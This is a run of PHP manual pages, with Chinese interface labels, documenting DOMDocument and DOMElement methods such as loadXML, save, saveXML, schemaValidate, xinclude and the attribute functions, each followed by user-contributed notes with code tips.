DOMDocument->loadHTML() | 上一级 | DOMDocument->loadXML()


DOMDocument->loadXML()

(no version information, might be only in CVS)

DOMDocument->loadXML() -- Load XML from a string

说明

class DOMDocument {

bool loadXML ( string source [, int options] )

}

Loads an XML document from a string.

This method may also be called statically to load and create a DOMDocument object. The static invocation may be used when no DOMDocument properties need to be set prior to loading.

参数

source

The string containing the XML.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. Creating a Document

<?php
$doc = DOMDocument::loadXML('<root><node/></root>');
echo $doc->saveXML();

$doc = new DOMDocument();
$doc->loadXML('<root><node/></root>');
echo $doc->saveXML();
?>

参见

DOMDocument->load()
DOMDocument->save()
DOMDocument->saveXML()

add a note add a note User Contributed Notes
earth at anonymous dot com
12-Apr-2006 05:28
Note that loadXML crops off beginning and trailing whitespace and linebreaks.

When using loadXML and appendChild to add a chunk of XML to an existing document, you may want to force a linebreak between the end of the XML chunk and the next line (usually a close tag) in the output file:

$childDocument = new DOMDocument;
$childDocument>preserveWhiteSpace = true;
$childDocument->loadXML(..XML-Chunk..);
$mNewNode = $mainDOcument->importNode($childDocument->documentElement, true);
$ParentNode->appendChild($mNewNode);
$ParentNode->appendChild($mainDocument->createTextNode("\\n  ");

Although it is said that DOM should not be used to make 'pretty' XML output, it is something I struggled with to get something that was readable for testing.  Another solution is to use the createDocumentFragment()->appendXML(..XML-Chunk..) instead, which seems not to trim off linebreaks like DOMDocument->loadXML() does.
georg at howen dot de
06-Mar-2006 08:04
Just in case you try to do the same as I did and thought you found a bug:

loadXML() is not a true static function. It is just allowed to be called statically. When called statically within a method of an instantiated DOMDocument object it acts as if the method had been called directly from the object itself rather than statically.

This means that if you call DOMDocument::loadXML() from within an instantiated DOMDocument object, it will not return a new DOMDocument but true/false.

Georg
primaryspace at hotmail dot com
10-Aug-2005 04:42
This method replaces any existing document tree already in the object with the document tree contained in the source argument.
blaine at blainegarrett dot com
26-May-2005 12:04
It seems this method does not throw a DOMException if it fails, but rather a regular warning. Thus it makes it hard to fine tune strings to try to get them to be valid XML.

Ideally, there would be a way to figure out why loadXML failed (by way of the exception), but rather only an warning is displayed.  This is a heads up for anyone trying to write their own string_to_xml() functions.

$string = '$$$"$$"&&&&lesund';

try {
   $dom = DOMDocument::loadXML($test_string);
}
catch(DOMException $e) {
 echo '<pre>';
 print_r($e);
 echo '</pre>';
}

Blaine
http://blainegarrett.com
add a note add a note

后退 | 起点 | 前进
DOMDocument->loadHTMLFile() | 上一级 | DOMDocument->normalize()


DOMDocument->normalize()

(no version information, might be only in CVS)

DOMDocument->normalize() -- Normalizes the document

说明

class DOMDocument {

void normalize ( void )

}

Normalizes the document.

返回值

无返回值。

参见

DOMNode->normalize()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMDocument->loadXML() | 上一级 | DOMDocument->relaxNGValidate()


DOMDocument->relaxNGValidate()

(no version information, might be only in CVS)

DOMDocument->relaxNGValidate() -- Performs relaxNG validation on the document

说明

class DOMDocument {

bool relaxNGValidate ( string filename )

}

Performs relaxNG validation on the document based on the given RNG schema.

参数

filename

The RNG file.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

DOMDocument->relaxNGValidateSource()
DOMDocument->schemaValidate()
DOMDocument->schemaValidateSource()
DOMDocument->validate()

add a note add a note User Contributed Notes
gem at rellim dot com
13-Oct-2004 08:36
Creating an .rng file by hand is a PITA.  Trang is a command line
java tool to save the day.  Trang will read a sampling of your .xml and
create a .rng for you.

Get it here: http://thaiopensource.com/relaxng/trang.html
add a note add a note

后退 | 起点 | 前进
DOMDocument->normalize() | 上一级 | DOMDocument->relaxNGValidateSource()


DOMDocument->relaxNGValidateSource()

(no version information, might be only in CVS)

DOMDocument->relaxNGValidateSource() -- Performs relaxNG validation on the document

说明

class DOMDocument {

bool relaxNGValidateSource ( string source )

}

Performs relaxNG validation on the document based on the given RNG source.

参数

source

A string containing the RNG schema.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

DOMDocument->relaxNGValidate()
DOMDocument->schemaValidate()
DOMDocument->schemaValidateSource()
DOMDocument->validate()

add a note add a note User Contributed Notes
gem at rellim dot com
13-Oct-2004 07:47
Took me a while to get a working example.  Here it is:

<?php

# enable warnings
ini_set( 'track_errors', 1);
ini_set('error_reporting', E_ALL | E_STRICT);

# this is a sample relaxNG definition
$rng = <<<EOT
<?xml version="1.0" encoding="UTF-8"?>
<grammar ns="" xmlns="http://relaxng.org/ns/structure/1.0"
  datatypeLibrary="http://www.w3.org/2001/XMLSchema-datatypes">
  <start>
   <element name="apple">
     <element name="pear">
       <data type="NCName"/>
     </element>
   </element>
  </start>
</grammar>
EOT;

# well formed xml, but invalid per schema
# too many pears
$bad_xml =<<<EOT
<?xml version="1.0"?>
<apple>
  <pear>Pear</pear>
  <pear>Pear</pear>
</apple>
EOT;

# well formed xml and valid per schema
$good_xml =<<<EOT
<?xml version="1.0"?>
<apple>
  <pear>Pear</pear>
</apple>
EOT;

# this function does the work, it tests the relaxNG in the string $rng
# against the xml in string $xml
Function relaxNG ( $xml, $rng ) {
       $dom_xml = new DomDocument;
       $dom_xml->loadXML($xml);

       if ( $dom_xml->relaxNGValidateSource ( $rng ) ) {
               echo "Good\n";
       } else {
               echo $php_errormsg . "\n";
       }
}

# test the good xml, will echo:
#    Good
relaxNG ($good_xml, $rng);

# test the bad xml, will echo:
#    Did not expect element pear there
relaxNG ($bad_xml, $rng);

?>

results:

Good
Did not expect element pear there
add a note add a note

后退 | 起点 | 前进
DOMDocument->relaxNGValidate() | 上一级 | DOMDocument->save()


DOMDocument->save()

(no version information, might be only in CVS)

DOMDocument->save() -- Dumps the internal XML tree back into a file

说明

class DOMDocument {

mixed save ( string filename [, integer options] )

}

Creates an XML document from the DOM representation. This function is usually called after building a new dom document from scratch as in the example below.

参数

filename

The path to the saved XML document.

options

Additional Options. Currently only LIBXML_NOEMPTYTAG is supported.

返回值

Returns the number of bytes written or FALSE if an error occurred.

更新日志

版本 | 说明
5.1.0 | Added the options parameter

范例

例子 1. Saving a DOM tree into a file

<?php

$doc = new DOMDocument('1.0');
// we want a nice output
$doc->formatOutput = true;

$root = $doc->createElement('book');
$root = $doc->appendChild($root);

$title = $doc->createElement('title');
$title = $root->appendChild($title);

$text = $doc->createTextNode('This is the title');
$text = $title->appendChild($text);

echo 'Wrote: ' . $doc->save("/tmp/test.xml") . ' bytes'; // Wrote: 72 bytes

?>

参见

DOMDocument->saveXML()
DOMDocument->load()
DOMDocument->loadXML()

add a note add a note User Contributed Notes
JimmyNighthawk
29-Oct-2005 05:52
+++ EMERGENCY NOT +++

When the HTML-Specification which is implemented in ->saveHTML() is implemented in ->save() you are not able to store XML-Tags which have no End-Tags in HTML (e. g. <link>- and <meta>-Tags).

Same in other words:
When the HTML-Specification which is implemented in ->saveHTML() is accidently implemented in ->save() the VALUE and END-TAG of nodes will be removed/deleted, when there is no VALUE and END-TAG allowed in HTML.

If this happens note this to your Hoster. It should be corrected immediately to perfom full benefit of XML, and perhaps your XML-database.

Let us just say about dealed fairly: "shit happens"
add a note add a note

后退 | 起点 | 前进
DOMDocument->relaxNGValidateSource() | 上一级 | DOMDocument->saveHTML()


DOMDocument->saveHTML()

(no version information, might be only in CVS)

DOMDocument->saveHTML() -- Dumps the internal document into a string using HTML formatting

说明

class DOMDocument {

string saveHTML ( void )

}

Creates an HTML document from the DOM representation. This function is usually called after building a new dom document from scratch as in the example below.

返回值

Returns the HTML, or FALSE if an error occurred.

范例

例子 1. Saving a HTML tree into a string

<?php

$doc = new DOMDocument('1.0');
// we want a nice output
$doc->formatOutput = true;

$root = $doc->createElement('html');
$root = $doc->appendChild($root);

$head = $doc->createElement('head');
$head = $root->appendChild($head);

$title = $doc->createElement('title');
$title = $head->appendChild($title);

$text = $doc->createTextNode('This is the title');
$text = $title->appendChild($text);

echo $doc->saveHTML();

?>

参见

DOMDocument->saveHTMLFile()
DOMDocument->loadHTML()
DOMDocument->loadHTMLFile()

add a note add a note User Contributed Notes
tyson at clugg dot net
22-Apr-2005 08:44
<?php
// Using DOM to fix sloppy HTML.
// An example by Tyson Clugg <tyson@clugg.net>
//
// vim: syntax=php expandtab tabstop=2

function tidyHTML($buffer)
{
  // load our document into a DOM object
  $dom = @DOMDocument::loadHTML($buffer);
  // we want nice output
  $dom->formatOutput = true;
  return($dom->saveHTML());
}

// start output buffering, using our nice
// callback funtion to format the output.
ob_start("tidyHTML");

?>
<html>
<p>It's like comparing apples to oranges.
</html>
<?php

// this will be called implicitly, but we'll
// call it manually to illustrate the point.
ob_end_flush();

?>

The above code takes out sloppy HTML:
 <html>
 <p>It's like comparing apples to oranges.
 </html>

And cleans it up to the following:
 <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
 <html><body><p>It's like comparing apples to oranges.
 </p></body></html>
add a note add a note

后退 | 起点 | 前进
DOMDocument->save() | 上一级 | DOMDocument->saveHTMLFile()


DOMDocument->saveHTMLFile()

(no version information, might be only in CVS)

DOMDocument->saveHTMLFile() -- Dumps the internal document into a file using HTML formatting

说明

class DOMDocument {

int saveHTMLFile ( string filename )

}

Creates an HTML document from the DOM representation. This function is usually called after building a new dom document from scratch as in the example below.

参数

filename

The path to the saved HTML document.

返回值

Returns the number of bytes written or FALSE if an error occurred.

范例

例子 1. Saving a HTML tree into a file

<?php

$doc = new DOMDocument('1.0');
// we want a nice output
$doc->formatOutput = true;

$root = $doc->createElement('html');
$root = $doc->appendChild($root);

$head = $doc->createElement('head');
$head = $root->appendChild($head);

$title = $doc->createElement('title');
$title = $head->appendChild($title);

$text = $doc->createTextNode('This is the title');
$text = $title->appendChild($text);

echo 'Wrote: ' . $doc->saveHTMLFile("/tmp/test.html") . ' bytes'; // Wrote: 129 bytes

?>

参见

DOMDocument->saveHTML()
DOMDocument->loadHTML()
DOMDocument->loadHTMLFile()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMDocument->saveHTML() | 上一级 | DOMDocument->saveXML()


DOMDocument->saveXML()

(no version information, might be only in CVS)

DOMDocument->saveXML() -- Dumps the internal XML tree back into a string

说明

class DOMDocument {

string saveXML ( [DOMNode node [, integer options]] )

}

Creates an XML document from the DOM representation. This function is usually called after building a new dom document from scratch as in the example below.

参数

node

Use this parameter to output only a specific node without XML declaration rather than the entire document.

options

Additional Options. Currently only LIBXML_NOEMPTYTAG is supported.

返回值

Returns the XML, or FALSE if an error occurred.

异常

DOM_WRONG_DOCUMENT_ERR

Raised if node is from another document.

更新日志

版本 | 说明
5.1.0 | Added the options parameter

范例

例子 1. Saving a DOM tree into a string

<?php

$doc = new DOMDocument('1.0');
// we want a nice output
$doc->formatOutput = true;

$root = $doc->createElement('book');
$root = $doc->appendChild($root);

$title = $doc->createElement('title');
$title = $root->appendChild($title);

$text = $doc->createTextNode('This is the title');
$text = $title->appendChild($text);

echo "Retrieving all the document:\n";
echo $doc->saveXML() . "\n";

echo "Retrieving only the title part:\n";
echo $doc->saveXML($title);

?>

上例将输出：

Retrieving all the document:
<?xml version="1.0"?>
<book>
  <title>This is the title</title>
</book>

Retrieving only the title part:
<title>This is the title</title>

参见

DOMDocument->save()
DOMDocument->load()
DOMDocument->loadXML()

add a note add a note User Contributed Notes
27-Mar-2006 08:20
I used the function posted by "joe" but the following works to me for get the innerXML
<?php
$itemLeido = $XMLRespuesta->getElementsByTagName("articulos");
foreach($itemLeido as $node) {
   echo($node->ownerDocument->saveXML($node));
}
?>
doc dot php dot net at webdevelopers dot cz
29-Sep-2005 06:25
saveXML() does not produce valid XML in case that the DOM was build using loadHTML() method.

You can experience double attributes (for example double @xmlns attribute on <html> element) or for example two dashes inside the XML comment (<script><!-- for(a=10; a < 10; a--)...; --></script>).

Don't be confused if the result of saveXML() cannot be loaded again with loadXML().

Elixon
mswiercz at mwerk dot com
10-Sep-2004 06:43
Quick tip to minimize memory when generating documents with DOM.

Rather than using
   $xmlStr = DOMDocument->saveXML();
   echo $xmlStr;

to dump a large DOM to the output buffer, use a PHP output stream, as in

   DOMDocument->save('php://output');

A lot of memory will be saved when generating large DOMs.
padys at tlen dot pl
05-Aug-2004 10:36
When you save whole document:
DOMDocument->saveXML() produces string in encoding defined in property DOMDocument->encoding.

When you save only one node:
DOMDocument->saveXML(DOMNode) produces always string in UTF-8.
add a note add a note

后退 | 起点 | 前进
DOMDocument->saveHTMLFile() | 上一级 | DOMDocument->schemaValidate()


DOMDocument->schemaValidate()

(no version information, might be only in CVS)

DOMDocument->schemaValidate() -- Validates a document based on a schema

说明

class DOMDocument {

bool schemaValidate ( string filename )

}

Validates a document based on the given schema file.

参数

filename

The path to the schema.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

DOMDocument->schemaValidateSource()
DOMDocument->relaxNGValidate()
DOMDocument->relaxNGValidateSource()
DOMDocument->validate()

add a note add a note User Contributed Notes
Mike A.
18-Feb-2006 04:03
For more detailed feedback from DOMDocument::schemaValidate, disable libxml errors and fetch error information yourself.  See http://php.net/manual/en/ref.libxml.php for more info.

example.xml
<?xml version="1.0"?>
<example>
   <child_string>This is an example.</child_string>
   <child_integer>Error condition.</child_integer>
</example>

example.xsd
<?xml version="1.0"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"
elementFormDefault="qualified">
   <xs:element name="example">
       <xs:complexType>
           <xs:sequence>
               <xs:element name="child_string" type="xs:string"/>
               <xs:element name="child_integer" type="xs:integer"/>
           </xs:sequence>
       </xs:complexType>
   </xs:element>
</xs:schema>

<?php

function libxml_display_error($error)
{
   $return = "<br/>\n";
   switch ($error->level) {
       case LIBXML_ERR_WARNING:
           $return .= "<b>Warning $error->code</b>: ";
           break;
       case LIBXML_ERR_ERROR:
           $return .= "<b>Error $error->code</b>: ";
           break;
       case LIBXML_ERR_FATAL:
           $return .= "<b>Fatal Error $error->code</b>: ";
           break;
   }
   $return .= trim($error->message);
   if ($error->file) {
       $return .=    " in <b>$error->file</b>";
   }
   $return .= " on line <b>$error->line</b>\n";

   return $return;
}

function libxml_display_errors() {
   $errors = libxml_get_errors();
   foreach ($errors as $error) {
       print libxml_display_error($error);
   }
   libxml_clear_errors();
}

// Enable user error handling
libxml_use_internal_errors(true);

$xml = new DOMDocument();
$xml->load('example.xml');

if (!$xml->schemaValidate('example.xsd')) {
   print '<b>DOMDocument::schemaValidate() Generated Errors!</b>';
   libxml_display_errors();
}

?>

Old error message:
Warning: DOMDocument::schemaValidate() [function.schemaValidate]: Element 'child_integer': 'Error condition.' is not a valid value of the atomic type 'xs:integer'. in example.php on line 40

New error message:
DOMDocument::schemaValidate() Generated Errors!
Error 1824: Element 'child_integer': 'Error condition.' is not a valid value of the atomic type 'xs:integer'. in example.xml on line 4
jasonoleary -at- hotmail
07-Dec-2005 01:12
regarding Warning messages for invalid XML documents, you can adjust the previous post to the following for simplicity

$validity =@ $dom->schemaValidate("mySchema.xsd") ;
if ( $validity === true )
   print "valid schema";
else
   print "NOT valid";
c_daut_d at earthlink dot net
14-Dec-2004 08:18
In 5.0.2 for Mac OS X, schemaValidate DOES generate a warning (various differing depending on what's wrong) if the XML doesn't validate.

Which means that simply checking the return value will not protect you from poorly formed XML files. You still have to implement error checking (try catch blocks won't help because it's an error not an exception).

Moreover, what I don't understand is why does it (and other DOM functions such as DOMDocument->load) generate an error instead of throwing a DOMException.
gem at rellim dot com
05-Nov-2004 10:31
Generates PHP WARNINGs if the schema is invalid.
Does not generate WARNINGs if the xml is invalid.

Here is a simple usage example:

<?php

$xml = new DOMDocument();
$xml->load('my.xml');
if ($xml->schemaValidate("my.xsd")) {
     echo "Validated OK";
} else {
     echo "Validate FAILED";
}

?>
add a note add a note

后退 | 起点 | 前进
DOMDocument->saveXML() | 上一级 | DOMDocument->schemaValidateSource()


DOMDocument->schemaValidateSource()

(no version information, might be only in CVS)

DOMDocument->schemaValidateSource() -- Validates a document based on a schema

说明

class DOMDocument {

bool schemaValidateSource ( string source )

}

Validates a document based on a schema defined in the given string.

参数

source

A string containing the schema.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

DOMDocument->schemaValidate()
DOMDocument->relaxNGValidate()
DOMDocument->relaxNGValidateSource()
DOMDocument->validate()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMDocument->schemaValidate() | 上一级 | DOMDocument->validate()


DOMDocument->validate()

(no version information, might be only in CVS)

DOMDocument->validate() -- Validates the document based on its DTD

说明

class DOMDocument {

bool validate ( void )

}

Validates the document based on its DTD.

You can also use the validateOnParse property of DOMDocument to make a DTD validation.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。 If the document have no DTD attached, this method will return FALSE.

范例

例子 1. Example of DTD validation

<?php
$dom = new DOMDocument;
$dom->Load('book.xml');
if ($dom->validate()) {
    echo "This document is valid!\n";
}
?>

You can also validate your XML file while loading it:

<?php
$dom = new DOMDocument;
$dom->validateOnParse = true;
$dom->Load('book.xml');
?>

参见

DOMDocument->schemaValidate()
DOMDocument->schemaValidateSource()
DOMDocument->relaxNGValidate()
DOMDocument->relaxNGValidateSource()

add a note add a note User Contributed Notes
aidan at php dot net
05-Dec-2004 01:31
This method throws E_NOTICE errors for any validation errors. If you'd rather store validation errors in an array for gracious handling, you can use the code below.

<?php
/**
 * Hold thrown errors statically
 */
function staticerror($errno, $errstr, $errfile, $errline, $errcontext, $ret = false)
{
   static $errs = array();

   if ($ret === true) {
       return $errs;
   }

   $tag = 'DOMDocument::validate(): ';
   $errs[] = str_replace($tag, '', $errstr);
}

// Load a document
$dom = new DOMDocument;
$dom->load('somefile');

// Set up error handling
set_error_handler('staticerror');
$old = ini_set('html_errors', false);

// Validate
$doc->validate();

// Restore error handling
ini_set('html_errors', $old);
restore_error_handler();

// Get errors
$errs = staticerror(null, null, null, null, null, true);
print_r($errs);

?>
add a note add a note

后退 | 起点 | 前进
DOMDocument->schemaValidateSource() | 上一级 | DOMDocument->xinclude()


DOMDocument->xinclude()

(no version information, might be only in CVS)

DOMDocument->xinclude() -- Substitutes XIncludes in a DOMDocument Object

说明

class DOMDocument {

int xinclude ( [int options] )

}

This method substitutes XIncludes in a DOMDocument object.

注: Due to libxml2 automatically resolving entities, this method will produce unexpected results if the included XML file have an attached DTD.

参数

options

libxml parameters. Available since PHP 5.1.0 and Libxml 2.6.7.

返回值

Returns the number of XIncludes in the document.

范例

例子 1. DOMDocument->xinclude() example

<?php

$xml = <<<EOD
<?xml version="1.0" ?>
<chapter xmlns:xi="http://www.w3.org/2001/XInclude">
<title>Books of the other guy..</title>
<para>
  <xi:include href="book.xml">
   <xi:fallback>
    <error>xinclude: book.xml not found</error>
   </xi:fallback>
  </xi:include>
</para>
</chapter>
EOD;

$dom = new DOMDocument;

// let's have a nice output
$dom->preserveWhiteSpace = false;
$dom->formatOutput = true;

// load the XML string defined above
$dom->loadXML($xml);

// substitute xincludes
$dom->xinclude();

echo $dom->saveXML();

?>

上例的输出类似于：

<?xml version="1.0"?>
<chapter xmlns:xi="http://www.w3.org/2001/XInclude">
  <title>Books of the other guy..</title>
  <para>
    <row xml:base="/home/didou/book.xml">
       <entry>The Grapes of Wrath</entry>
       <entry>John Steinbeck</entry>
       <entry>en</entry>
       <entry>0140186409</entry>
      </row>
    <row xml:base="/home/didou/book.xml">
       <entry>The Pearl</entry>
       <entry>John Steinbeck</entry>
       <entry>en</entry>
       <entry>014017737X</entry>
      </row>
    <row xml:base="/home/didou/book.xml">
       <entry>Samarcande</entry>
       <entry>Amine Maalouf</entry>
       <entry>fr</entry>
       <entry>2253051209</entry>
      </row>
  </para>
</chapter>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMDocument->validate() | 上一级 | DOMElement->__construct()


DOMElement->__construct()

(no version information, might be only in CVS)

DOMElement->__construct() -- Creates a new DOMElement object

说明

class DOMElement {

__construct ( string name [, string value [, string namespaceURI]] )

}

Creates a new DOMElement object. This object is read only. It may be appended to a document, but additional nodes may not be appended to this node until the node is associated with a document. To create a writeable node, use DOMDocument->createElement() or DOMDocument->createElementNS().

参数

name

The tag name of the element. When also passing in namespaceURI, the element name may take a prefix to be associated with the URI.

value

The value of the element.

namespaceURI

A namespace URI to create the element within a specific namespace.

范例

例子 1. Creating a new DOMElement

<?php

$dom = new DOMDocument('1.0', 'iso-8859-1');
$element = $dom->appendChild(new DOMElement('root'));
$element_ns = new DOMElement('pr:node1', 'thisvalue', 'http://xyz');
$element->appendChild($element_ns);
echo $dom->saveXML(); /* <?xml version="1.0" encoding="iso-8859-1"?>
<root><pr:node1 xmlns:pr="http://xyz">thisvalue</pr:node1></root> */

?>

参见

DOMDocument->createElement()
DOMDocument->createElementNS()

add a note add a note User Contributed Notes
fatz at fatkids dot com
17-May-2006 05:43
The value of a DOMElement object is contained in the nodeValue attribute.
add a note add a note

后退 | 起点 | 前进
DOMDocument->xinclude() | 上一级 | DOMElement->getAttribute()


DOMElement->getAttribute()

(no version information, might be only in CVS)

DOMElement->getAttribute() -- Returns value of attribute

说明

class DOMElement {

string getAttribute ( string name )

}

Gets the value of the attribute with name name for the current node.

参数

name

The name of the attribute.

返回值

The value of the attribute, or an empty string if no attribute with the given name is found.

参见

DOMElement->hasAttribute()
DOMElement->setAttribute()
DOMElement->removeAttribute()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMElement->__construct() | 上一级 | DOMElement->getAttributeNode()


DOMElement->getAttributeNode()

(no version information, might be only in CVS)

DOMElement->getAttributeNode() -- Returns attribute node

说明

class DOMElement {

DOMAttr getAttributeNode ( string name )

}

Returns the attribute node with name name for the current element.

参数

name

The name of the attribute.

返回值

The attribute node.

参见

DOMElement->hasAttribute()
DOMElement->setAttributeNode()
DOMElement->removeAttributeNode()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMElement->getAttribute() | 上一级 | DOMElement->getAttributeNodeNS()


DOMElement->getAttributeNodeNS()

(no version information, might be only in CVS)

DOMElement->getAttributeNodeNS() -- Returns attribute node

说明

class DOMElement {

DOMAttr getAttributeNodeNS ( string namespaceURI, string localName )

}

Returns the attribute node in namespace namespaceURI with local name localName for the current node.

参数

namespaceURI

The namespace URI.

localName

The local name.

返回值

The attribute node.

参见

DOMElement->hasAttributeNS()
DOMElement->setAttributeNodeNS()
DOMElement->removeAttributeNode()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMElement->getAttributeNode() | 上一级 | DOMElement->getAttributeNS()


DOMElement->getAttributeNS()

(no version information, might be only in CVS)

DOMElement->getAttributeNS() -- Returns value of attribute

说明

class DOMElement {

string getAttributeNS ( string namespaceURI, string localName )

}

Gets the value of the attribute in namespace namespaceURI with local name localName for the current node.

参数

namespaceURI

The namespace URI.

localName

The local name.

返回值

The value of the attribute, or an empty string if no attribute with the given localName and namespaceURI is found.

参见

DOMElement->hasAttributeNS()
DOMElement->setAttributeNS()
DOMElement->removeAttributeNS()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMElement->getAttributeNodeNS() | 上一级 | DOMElement->getElementsByTagName()


DOMElement->getElementsByTagName()

(no version information, might be only in CVS)

DOMElement->getElementsByTagName() -- Gets elements by tagname

说明

class DOMElement {

DOMNodeList getElementsByTagName ( string name )

}

This function returns a new instance of the class DOMNodeList of all descendant elements with a given tag name, in the order in which they are encountered in a preorder traversal of this element tree.

参数

name

The tag name. Use * to return all elements within the element tree.

返回值

This function returns a new instance of the class DOMNodeList of all matched elements.

参见

DOMElement->getElementsByTagNameNS()

add a note add a note User Contributed Notes
kencomer at NOSPAM dot kencomer dot com
24-Dec-2005 04:24
The DOMNodeList class is returned by these functions:
     DOMDocument->getElementById()
     DOMDocument->getElementsByTagName()
     DOMDocument->getElementsByTagNameNS()
add a note add a note

后退 | 起点 | 前进
DOMElement->getAttributeNS() | 上一级 | DOMElement->getElementsByTagNameNS()


DOMElement->getElementsByTagNameNS()

(no version information, might be only in CVS)

DOMElement->getElementsByTagNameNS() -- Get elements by namespaceURI and localName

说明

class DOMElement {

DOMNodeList getElementsByTagNameNS ( string namespaceURI, string localName )

}

This function fetch all the descendant elements with a given localName and namespaceURI.

参数

namespaceURI

The namespace URI.

localName

The local name. Use * to return all elements within the element tree.

返回值

This function returns a new instance of the class DOMNodeList of all matched elements in the order in which they are encountered in a preorder traversal of this element tree.

参见

DOMElement->getElementsByTagName()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMElement->getElementsByTagName() | 上一级 | DOMElement->hasAttribute()


DOMElement->hasAttribute()

(no version information, might be only in CVS)

DOMElement->hasAttribute() -- Checks to see if attribute exists

说明

class DOMElement {

bool hasAttribute ( string name )

}

Indicates whether attribute named name exists as a member of the element.

参数

name

The attribute name.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

DOMElement->hasAttributeNS()
DOMElement->getAttribute()
DOMElement->setAttribute()
DOMElement->removeAttribute()

add a note add a note User Contributed Notes
permidion at yahoo dot com
27-Oct-2004 07:30
simple exemple of use to retrieve all attributes of an element

foreach ($root->childNodes as $child) {
   if ($child->hasAttributes()){
       foreach ($child->attributes as $attribute){
           print "AttributName= ".$attribute->name. "<br/>\n";
           print "AttributValue= ".$attribute->value. "<br/>\n";
       }
   }
}
add a note add a note

后退 | 起点 | 前进
DOMElement->getElementsByTagNameNS() | 上一级 | DOMElement->hasAttributeNS()


DOMElement->hasAttributeNS()

(no version information, might be only in CVS)

DOMElement->hasAttributeNS() -- Checks to see if attribute exists

说明

class DOMElement {

bool hasAttributeNS ( string namespaceURI, string localName )

}

Indicates whether attribute in namespace namespaceURI named localName exists as a member of the element.

参数

namespaceURI

The namespace URI.

localName

The local name.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

DOMElement->hasAttribute()
DOMElement->getAttributeNS()
DOMElement->setAttributeNS()
DOMElement->removeAttributeNS()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMElement->hasAttribute() | 上一级 | DOMElement->removeAttribute()


DOMElement->removeAttribute()

(no version information, might be only in CVS)

DOMElement->removeAttribute() -- Removes attribute

说明

class DOMElement {

bool removeAttribute ( string name )

}

Removes attribute named name from the element.

参数

name

The name of the attribute.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

异常

DOM_NO_MODIFICATION_ALLOWED_ERR

Raised if the node is readonly.

参见

DOMElement->hasAttribute()
DOMElement->getAttribute()
DOMElement->setAttribute()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMElement->hasAttributeNS() | 上一级 | DOMElement->removeAttributeNode()


DOMElement->removeAttributeNode()

(no version information, might be only in CVS)

DOMElement->removeAttributeNode() -- Removes attribute

说明

class DOMElement {

bool removeAttributeNode ( DOMAttr oldnode )

}

Removes attribute oldnode from the element.

参数

oldnode

The attribute node.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

异常

DOM_NO_MODIFICATION_ALLOWED_ERR

Raised if the node is readonly.

DOM_NOT_FOUND_ERROR

Raised if oldnode is not an attribute of the element.

参见

DOMElement->hasAttribute()
DOMElement->getAttributeNode()
DOMElement->setAttributeNode()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMElement->removeAttribute() | 上一级 | DOMElement->removeAttributeNS()


DOMElement->removeAttributeNS()

(no version information, might be only in CVS)

DOMElement->removeAttributeNS() -- Removes attribute

说明

class DOMElement {

bool removeAttributeNS ( string namespaceURI, string localName )

}

Removes attribute is namespace namespaceURI named localName from the element.

参数

namespaceURI

The namespace URI.

localName

The local name.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

异常

DOM_NO_MODIFICATION_ALLOWED_ERR

Raised if the node is readonly.

参见

DOMElement->hasAttributeNS()
DOMElement->getAttributeNS()
DOMElement->setAttributeNS()

add a note add a note User Contributed Notes
primaryspace at hotmail dot com
11-Aug-2005 03:56
This method can be used to remove a namespace declaration from an element, even though the declaration is not considered an attribute by the DOM.  The prefix will be removed from any element or attribute using it.

<?php

$dom = DOMDocument::loadXML('<foo:root xmlns:foo="http:bar"/>');
$element = $dom->childNodes->item(0);

// prints '0':
echo (int) $element->hasAttributeNS('http:bar', 'foo');

$element->removeAttributeNS('http:bar', 'foo');

/* prints '<?xml version="1.0"?> <root/>': */
print htmlentities($dom->saveXML());

?>
add a note add a note

后退 | 起点 | 前进
DOMElement->removeAttributeNode() | 上一级 | DOMElement->setAttribute()


DOMElement->setAttribute()

(no version information, might be only in CVS)

DOMElement->setAttribute() -- Adds new attribute

说明

class DOMElement {

bool setAttribute ( string name, string value )

}

Sets an attribute with name name to the given value. If the attribute does not exist, it will be created.

参数

name

The name of the attribute.

value

The value of the attribute.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

异常

DOM_NO_MODIFICATION_ALLOWED_ERR

Raised if the node is readonly.

范例

例子 1. Setting an attribute

<?php
$doc = new DOMDocument("1.0");
$node = $doc->createElement("para");
$newnode = $doc->appendChild($node);
$newnode->setAttribute("align", "left");
?>

参见

DOMElement->hasAttribute()
DOMElement->getAttribute()
DOMElement->removeAttribute()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMElement->removeAttributeNS() | 上一级 | DOMElement->setAttributeNode()


DOMElement->setAttributeNode()

(no version information, might be only in CVS)

DOMElement->setAttributeNode() -- Adds new attribute node to element

说明

class DOMElement {

DOMAttr setAttributeNode ( DOMAttr attr )

}

Adds new attribute node attr to element.

参数

attr
